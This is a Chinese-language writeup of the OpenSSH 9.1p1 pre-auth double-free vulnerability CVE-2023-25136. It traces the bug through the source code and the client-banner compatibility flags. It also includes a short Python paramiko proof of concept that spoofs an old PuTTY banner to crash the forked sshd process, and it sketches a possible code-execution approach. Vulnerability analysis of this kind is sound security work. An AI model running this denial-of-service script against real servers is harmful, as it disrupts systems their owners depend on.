
OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup and Proof-of-Concept
OpenSSH 是一种用于安全通信和远程访问的流行工具。它是作为安全外壳 (SSH) 通信协议的一个免费开源实现而开发的,并广泛应用于各种场景。
OpenSSH 在不安全的网络上的两个不可信主机之间提供安全且加密的连接,使其成为远程访问和安全文件传输的基本工具。
随着云计算和远程服务器访问的日益普及,OpenSSH 已成为系统管理员和开发人员安全访问和管理远程系统的关键工具。
OpenSSH 还支持广泛的操作系统,包括 Linux、macOS 和 Windows,使其成为跨不同操作系统广泛采用的工具。凭借其易用性和强大的安全特性,OpenSSH 已成为安全远程访问的行业标准工具。
2023 年 2 月 2 日,OpenSSH 发布了 9.2p1 版本并附带了此安全公告。该版本立即引起了关注,因为它包含了一个预认证双重释放漏洞。搜索 OpenSSH 的 GitHub 仓库,可以发现修复提交。
提交信息中提到了 bz3522,这指向由用户 Mantas Mikulėnas 报告的 Bugzilla 问题。
在报告中,Mantas 提到使用了过时的 PuTTY 0.64 版本,并附带了双重释放崩溃的回溯信息。
为了深入分析,我们搭建了一个包含存在漏洞的 OpenSSH 9.1p1 的环境,并获取了一份 8 年前(2015 年 2 月 28 日发布)的旧版 PuTTY 0.64 的副本。
尝试用 PuTTY 0.64 连接有漏洞的 OpenSSH 服务器后,返回了以下错误:

由于旧版客户端的密钥交换算法不被新版 OpenSSH 支持,我们修改了 sshd_config 文件,在 /etc/ssh/sshd_config 中添加了以下行:KexAlgorithms +diffie-hellman-group1-sha1
重启 SSH 服务器并再次尝试后,返回了以下错误:

在 sshd_config 中添加另一行配置后,我们成功连接到了有漏洞的 OpenSSH 服务器并复现了崩溃:
HostKeyAlgorithms +ssh-rsa
以调试模式(使用 -ddd 标志)运行服务器,返回了以下调试信息:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
系统调用号 20 是 writev(),这与 Bugzilla 报告一致。
请注意,我们所做的配置更改只是为了通过 PuTTY 复现漏洞,而非漏洞利用所必需的。正如我们在 PoC 中所见,默认配置本身即存在漏洞。
我们首先检查了修复提交,其中指出 compat_kex_proposal() 是导致双重释放的根源。当连接兼容性选项 SSH_OLD_DHGEX 在 [1] 处为真时,第二个参数 p 在 [2] 处被赋给 cp,随后在 [3] 处被释放。
/* 始终返回指向已分配内存的指针,调用者必须释放。 */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("原始 KEX 提案: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist 失败");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist 失败");
free(cp); [3]
}
debug2_f("兼容 KEX 提案: %s", p);
if (*p == '\0')
fatal("未找到支持的密钥交换算法");
return p;
}
对 compat_kex_proposal() 的调用位于 do_ssh2_kex() 函数内部:
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
compat_kex_proposal() 中释放的 cp=p 指向参数 options.kex_algorithms。
在源代码中搜索 kex_algorithms,我们遇到了 Bugzilla 报告中崩溃涉及的 assemble_algorithms:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE 是调用 kex_assemble_names() 函数的宏:
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
kex_assemble_names() 函数被调用时,第一个参数是 o->kex_algorithms 的地址(即 listp)。这就是第二次释放发生的地方。
int
kex_assemble_names(char **listp, const char *def, const char *all)
由于 options.kex_algorithms 句柄已被释放并成为悬空指针,它再次被释放,导致了双重释放。
但 SSH_OLD_DHGEX 选项是在哪里设置的呢?
在 compat_banner() 函数内部,该函数根据 SSH 协议横幅确定 bug 标志。一个名为 check[] 的结构体列出了所有 SSH 客户端 ID 及其标志。以下代码片段显示了被分配 SSH_OLD_DHGEX 选项的客户端 ID。我们还可以看到 WinSCP 也可能触发此行为。
{ "PuTTY_Local:*," /* 2014年9月之前的开发版本 */ "PuTTY-Release-0.5*," /* 0.50-0.57, 0.52及以上版本支持DH-GEX */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty 分支 */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
由于 Python 的灵活性和可移植性,我们选择创建一个 Python 拒绝服务概念验证。该概念验证使用 paramiko 包触发双重释放,并导致中止崩溃。
paramiko 是一个广泛使用的 Python SSH 实现,提供服务器和客户端功能。在 PoC 中,我们将连接客户端版本横幅改为反映一个过时的客户端,如 PuTTY v0.64。
可在我们的 GitHub 仓库中获取。
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
该利用方法用另一个名为 EVP_AES_KEY 的结构体替换了被释放的 options.kex_algorithms。当双重释放发生时,这个结构体随后再次被释放。然后它用另一个块(使用 authctxt->user 或 authctxt->style)覆盖其内容。
当 EVP_Cipher() 随后尝试使用这个 EVP_AES_KEY 时,它将使用这个被攻击者控制数据覆盖的块。
OpenSSH 守护进程监听来自客户端的连接。它为每个传入连接派生一个新的守护进程。派生的守护进程处理密钥交换、加密、认证、命令执行和数据交换。
该漏洞是一个双重释放,理论上可用于拒绝服务(如我们的概念验证所示),甚至可能用于远程代码执行(RCE),但由于存在沙盒和权限分离机制等安全措施,开发一个有效的利用方法被认为困难重重。对于拒绝服务,请注意只有派生的守护进程崩溃(因为尝试调用 writev() 时发生沙盒违规),因此主服务器守护进程仍然可以自由处理新客户端。
此漏洞被评为高严重性,原因如下:
该漏洞仅影响默认配置下的 OpenSSH 9.1p1 版本,这意味着无需任何前提条件。